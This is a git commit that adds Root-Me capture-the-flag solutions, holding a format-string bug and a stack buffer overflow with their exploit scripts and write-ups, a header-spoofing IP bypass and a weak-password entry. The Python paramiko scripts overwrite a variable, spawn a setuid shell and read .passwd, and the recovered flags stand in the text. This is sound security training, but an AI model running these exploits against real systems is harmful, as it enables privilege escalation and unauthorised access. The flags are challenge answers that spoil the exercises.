feat: app system challenges

Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
This commit is contained in:
Tuan-Dat Tran
2026-03-23 09:19:03 +01:00
parent de45645553
commit 5cd3b5a531
14 changed files with 715 additions and 0 deletions

View File

@@ -0,0 +1,28 @@
CHALLENGE=ch14
USER=app-systeme-$(CHALLENGE)
USER_CRACKED=$(USER)-cracked
CC=gcc
CFLAGS=-m32 -no-pie
LDFLAGS=-z noexecstack
SRC=$(CHALLENGE).c
OBJ=$(SRC:.c=.o)
BIN=$(CHALLENGE)
.DEFAULT_GOAL := challenge
.PHONY : clean all
$(BIN): $(OBJ)
@echo "Compiling..."
$(CC) -o $@ $(SRC) $(LDFLAGS) $(CFLAGS)
challenge: $(BIN)
@echo "Applying permissions..."
rm -f $(OBJ)
chown $(USER_CRACKED):$(USER) $(BIN) .passwd Makefile $(SRC)
chmod 400 .passwd
chmod 440 $(SRC) Makefile
chmod 550 $(BIN)
chmod u+s $(BIN)

Binary file not shown.

View File

@@ -0,0 +1,37 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}

View File

@@ -0,0 +1,250 @@
* ELF x86 - Format string bug basic 2
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
Aufgabe
Einstellungen der Umgebung
PIE Position Independent Executable pas_valide.svg?1566650180
RelRO Read Only relocations pas_valide.svg?1566650180
NX Non-Executable Stack valide.svg?1566650190
Heap exec Non-Executable Heap valide.svg?1566650190
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
SF Source Fortification pas_valide.svg?1566650180
SSP Stack-Smashing Protection valide.svg?1566650190
SRC Zugriff auf den Source code valide.svg?1566650190
Quellcode
#+begin_src C
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}
#+end_src
Zugangsdaten für die Übung
#+begin_quote
Host challenge02.root-me.org
Protokoll SSH
Port 2222
Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org
Benutzername app-systeme-ch14
Passwort app-systeme-ch14
#+end_quote
* Investigation Log
** Downloaded challenge files
Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=.
Makefile confirms build flags:
- =-m32 -no-pie=
- =-z noexecstack=
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
** Vulnerability
The bug is here:
#+begin_src c
snprintf(fmt, sizeof(fmt), argv[1]);
#+end_src
=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory.
Target variable:
#+begin_src c
int check = 0x04030201;
...
if (check == 0xdeadbeef) {
system("/bin/bash");
}
#+end_src
** Stack argument offset discovery
Bruteforce payload: =AAAA.%<i>$x=.
Result: at offset =9= we get =41414141=.
So first 4 bytes of our payload are interpreted as argument 9.
** Write strategy
Need to write =0xdeadbeef= into =check=.
Used two half-word writes with =%hn=:
- lower half (addr): =0xbeef= (=48879=)
- upper half (addr+2): =0xdead= (=57005=)
Payload layout:
- 4 bytes: =p32(check_addr)=
- 4 bytes: =p32(check_addr+2)=
- format tail: =%11$48871x%9$hn%12$8126x%10$hn=
Why those paddings:
- first 8 bytes already count as printed characters
- 48871 + 8 = 48879 (0xbeef) -> first =%hn=
- 8126 more chars -> 57005 (0xdead) -> second =%hn=
** Address behavior and PTY note
=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
For reliable exploit:
- probe =check= address with same payload length and PTY mode
- immediately run exploit in PTY mode
Observed stable PTY probe address: =0xbffffb88=.
** Successful exploitation
Exploit output:
- =check=0xdeadbeef=
- =Yeah dude ! You win !=
- effective uid switched to =app-systeme-ch14-cracked=
Recovered password:
#+begin_quote
1l1k3p0Rn&P0pC0rn
#+end_quote
* Helper Scripts
- =scripts/find_offset.py=: brute-force the format-string stack offset.
- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=.
** Note: exploit implementation without struct.pack
The exploit script no longer uses =struct.pack("<I", ...)=.
Instead, it uses a manual little-endian encoder:
#+begin_src python
def p32_le(value: int) -> bytes:
value &= 0xFFFFFFFF
return bytes((
value & 0xFF,
(value >> 8) & 0xFF,
(value >> 16) & 0xFF,
(value >> 24) & 0xFF,
))
#+end_src
This produces the same 4-byte layout as =struct.pack("<I", value)= on x86.
Example:
- =0xbffffb88= -> bytes =88 fb ff bf=
- =0xbffffb8a= -> bytes =8a fb ff bf=
So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=.
* Solution Explanation
1) Identify the bug
The program calls:
#+begin_src c
snprintf(fmt, sizeof(fmt), argv[1]);
#+end_src
User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=).
2) Define the win condition
The shell is spawned only if:
#+begin_src c
if (check == 0xdeadbeef) {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
#+end_src
So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=.
3) Find where our bytes land in variadic arguments
Using marker payloads like =AAAA.%<i>$x=, we detect when =41414141= appears.
Observed offset: =9=.
Meaning:
- bytes 0..3 of payload are read as argument 9
- bytes 4..7 of payload are read as argument 10
4) Choose a safe write primitive
Writing full 32-bit with one =%n= is possible but impractical due to huge padding.
Use two half-word writes with =%hn=:
- write lower 16 bits (=0xbeef=) to =check=
- write upper 16 bits (=0xdead=) to =check+2=
5) Build the payload
Payload bytes:
- first 4 bytes: little-endian address of =check=
- next 4 bytes: little-endian address of =check+2=
- then format tail: =%11$48871x%9$hn%12$8126x%10$hn=
Padding math:
- 8 raw address bytes are already counted as printed chars
- need first total count =48879= (=0xbeef=): print =48871= extra chars
- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars
6) Handle runtime detail (PTY stability)
The stack address printed for =check= is stable only for the same invocation style.
PTY vs non-PTY shifts addresses. Reliable method:
- probe address in PTY mode with same payload length
- exploit immediately in PTY mode with same layout
7) Confirm success
Successful run shows:
- =check=0xdeadbeef=
- =Yeah dude ! You win !=
- effective identity =app-systeme-ch14-cracked=
- readable flag/password file =.passwd=
Recovered password:
#+begin_quote
1l1k3p0Rn&P0pC0rn
#+end_quote

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env python3
import base64
import re
import shlex
import paramiko
HOST = "challenge02.root-me.org"
PORT = 2222
USER = "app-systeme-ch14"
PASSWORD = "app-systeme-ch14"
BIN = "/challenge/app-systeme/ch14/ch14"
FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
def p32_le(value: int) -> bytes:
value &= 0xFFFFFFFF
return bytes(
(
value & 0xFF,
(value >> 8) & 0xFF,
(value >> 16) & 0xFF,
(value >> 24) & 0xFF,
)
)
def make_remote_cmd(payload: bytes) -> str:
b64 = base64.b64encode(payload).decode()
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
return "python3 -c " + shlex.quote(py)
def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
cmd = make_remote_cmd(payload)
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
return stdout.read().decode("latin-1", "ignore")
def main() -> None:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
try:
total_len = 8 + len(FMT_TAIL)
probe = b"A" * total_len
probe_out = run_read_all(ssh, probe, pty=True)
m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
if not m:
raise RuntimeError("could not parse check address from probe output")
check_addr = int(m.group(1), 16)
print(f"[+] check address: 0x{check_addr:08x}")
payload = p32_le(check_addr)
payload += p32_le(check_addr + 2)
payload += FMT_TAIL
if len(payload) != total_len:
raise RuntimeError("payload length changed; probe and exploit would desync")
cmd = make_remote_cmd(payload)
stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
stdin.write("id\n")
stdin.write("cat .passwd\n")
stdin.write("exit\n")
stdin.flush()
out = stdout.read().decode("latin-1", "ignore")
print(out)
if "check=0xdeadbeef" in out:
print("[+] exploitation successful")
else:
print("[-] exploitation failed")
finally:
ssh.close()
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,51 @@
#!/usr/bin/env python3
import base64
import re
import shlex
import paramiko
HOST = "challenge02.root-me.org"
PORT = 2222
USER = "app-systeme-ch14"
PASSWORD = "app-systeme-ch14"
BIN = "/challenge/app-systeme/ch14/ch14"
def run_payload(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
b64 = base64.b64encode(payload).decode()
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
cmd = "python3 -c " + shlex.quote(py)
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
return stdout.read().decode("latin-1", "ignore")
def main() -> None:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
try:
found = None
for i in range(1, 80):
payload = f"AAAA.%{i}$x".encode()
out = run_payload(ssh, payload)
m = re.search(r"fmt=\[(.*)\]", out)
if not m:
continue
fmt_out = m.group(1).lower()
if "41414141" in fmt_out:
found = i
print(f"[+] offset found: {i}")
print(f"[+] fmt output: {m.group(1)}")
break
if found is None:
print("[-] offset not found in tested range")
finally:
ssh.close()
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,50 @@
#!/usr/bin/env python3
import time
import paramiko
HOST = "challenge02.root-me.org"
PORT = 2222
USER = "app-systeme-ch13"
PASSWORD = "app-systeme-ch13"
def drain(channel: paramiko.Channel, loops: int = 20, delay: float = 0.2) -> str:
chunks = []
for _ in range(loops):
time.sleep(delay)
while channel.recv_ready():
chunks.append(channel.recv(65535).decode("utf-8", errors="replace"))
return "".join(chunks)
def run() -> None:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15
)
try:
shell = client.invoke_shell()
banner = drain(shell, loops=10)
if banner:
print(banner, end="")
exploit = (
'(python3 -c "import sys; '
"sys.stdout.buffer.write(b'A'*40+b'\\xef\\xbe\\xad\\xde')\"; "
"cat) | ./ch13\n"
)
shell.send(exploit.encode())
print(drain(shell, loops=12), end="")
shell.send(b"id\n")
shell.send(b"cat .passwd\n")
shell.send(b"exit\n")
print(drain(shell, loops=20), end="")
finally:
client.close()
if __name__ == "__main__":
run()

View File

@@ -0,0 +1,39 @@
#!/usr/bin/env python3
import paramiko
HOST = "challenge02.root-me.org"
PORT = 2222
USER = "app-systeme-ch13"
PASSWORD = "app-systeme-ch13"
def run() -> None:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15
)
try:
commands = [
"pwd",
"ls -la",
"file ch13",
"checksec --file=ch13 || true",
"./ch13 <<<'AAAA'",
]
for cmd in commands:
stdin, stdout, stderr = client.exec_command(cmd)
out = stdout.read().decode("utf-8", errors="replace")
err = stderr.read().decode("utf-8", errors="replace")
print(f"--- $ {cmd} ---")
if out:
print(out, end="" if out.endswith("\n") else "\n")
if err:
print("[stderr]")
print(err, end="" if err.endswith("\n") else "\n")
finally:
client.close()
if __name__ == "__main__":
run()

View File

@@ -0,0 +1,97 @@
* ELF x86 - Stack buffer overflow basic 1
Aufgabe
Einstellungen der Umgebung
PIE Position Independent Executable pas_valide.svg?1566650180
RelRO Read Only relocations pas_valide.svg?1566650180
NX Non-Executable Stack pas_valide.svg?1566650180
Heap exec Non-Executable Heap pas_valide.svg?1566650180
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
SF Source Fortification pas_valide.svg?1566650180
SRC Zugriff auf den Source code valide.svg?1566650190
Quellcode
#+begin_src C
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Hell yeah! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}
#+end_src
#+begin_quote
Zugangsdaten für die Übung
Host challenge02.root-me.org
Protokoll SSH
Port 2222
Zugang per SSH ssh -p 2222 app-systeme-ch13@challenge02.root-me.org
Benutzername app-systeme-ch13
Passwort app-systeme-ch13
#+end_quote
#+begin_src sh
python3 -c "import sys; sys.stdout.buffer.write(b'A'*(40) + b'\xef\xbe\xad\xde')" | ./ch13
#+end_src
** Findings (live target)
- Remote path: =/challenge/app-systeme/ch13=
- Binary: =ch13: setuid ELF 32-bit, dynamically linked, not stripped=
- Effective mitigations from runtime check:
- Partial RELRO
- No stack canary
- NX enabled
- No PIE
- ASLR OFF (on target host)
- Vulnerability: =fgets(buf,45,stdin)= writes up to 44 bytes into =char buf[40]=, overflowing 4 bytes into adjacent =check=.
- Target value: overwrite =check= from =0x04030201= to =0xdeadbeef= (little-endian bytes =\xef\xbe\xad\xde=).
** Working exploitation flow
- Basic trigger (proves control of =check=):
#+begin_src sh
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xef\xbe\xad\xde')" | ./ch13
#+end_src
- To keep stdin open for the spawned SUID shell, use a pipeline with =cat=:
#+begin_src sh
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\xef\xbe\xad\xde')"; cat) | ./ch13
id
cat .passwd
exit
#+end_src
- Observed privilege in spawned shell:
- =uid=1213(app-systeme-ch13-cracked)=
- =gid=1113(app-systeme-ch13)=
- Retrieved validation password:
- =1w4ntm0r3pr0np1s=
** Helper scripts
- =helper_recon.py=: SSH recon script (pwd, ls, file, checksec, smoke run).
- =helper_exploit_password.py=: SSH interactive exploit script that keeps stdin open and reads =.passwd=.

View File

@@ -0,0 +1,4 @@
* Backup file
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Backup-file
http://challenge01.root-me.org/web-serveur/ch11/

View File

@@ -1,6 +1,8 @@
* HTML - Source code
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTML
Suchen Sie nicht zu weit weg
[[./index.html]]

View File

@@ -0,0 +1,27 @@
<!DOCTYPE html>
<html>
<head>
<title>Secured Intranet</title>
</head>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=internal_header'></iframe>
<span>Your IP <strong>::ffff:94.135.236.24</strong> do not belong to the LAN.</span>
<h1>Intranet</h1>
<form method="post">
<p>
<label for="login">Login:</label>
<input type="text" name="login">
</p>
<p>
<label for="pass">Password:</label>
<input type="text" name="mdp">
</p>
<p>
<input type="submit" value="login">
</p>
<p>
<small>You should authenticate because you're not on the LAN.</small>
</p>
</form>
</body>
</html>

View File

@@ -0,0 +1,40 @@
* HTTP - IP restriction bypass
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTTP-IP-restriction-bypass
Description: Nur lokale Benutzer können auf die Seite zugreifen
Aufgabe
#+begin_quote
Liebe Kollegen,
Wir verwalten jetzt die Verbindungen zum Intranet über private IP-Adressen, so dass es nicht mehr notwendig ist, sich mit einem Benutzernamen/Passwort anzumelden, wenn Sie bereits mit dem internen Firmennetz verbunden sind.
Herzliche Grüße,
Der Netzverwalter
#+end_quote
-----
Challenge Website: http://challenge01.root-me.org/web-serveur/ch68/
Analyse
- Initial request:
- `curl -i "http://challenge01.root-me.org/web-serveur/ch68/"`
- Server responds with login page and message: `Your IP ::ffff:<public-ip> do not belong to the LAN.`
- Header tests (IP spoofing candidates):
- `X-Forwarded-For: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
- `Client-IP: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
- `X-Client-IP: 127.0.0.1` -> ignored by app.
- Working bypass:
- `X-Forwarded-For: 192.168.1.10` (also works with `10.0.0.42`)
- `Client-IP: 192.168.1.10` also works.
- App trusts spoofable headers and only checks if IP is in private/LAN ranges.
Exploit command
#+begin_src bash
curl -i -H "X-Forwarded-For: 192.168.1.10" "http://challenge01.root-me.org/web-serveur/ch68/"
#+end_src
Flag
- `Ip_$po0Fing`

View File

@@ -0,0 +1,5 @@
* Weak Password
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Weak-password
admin:admin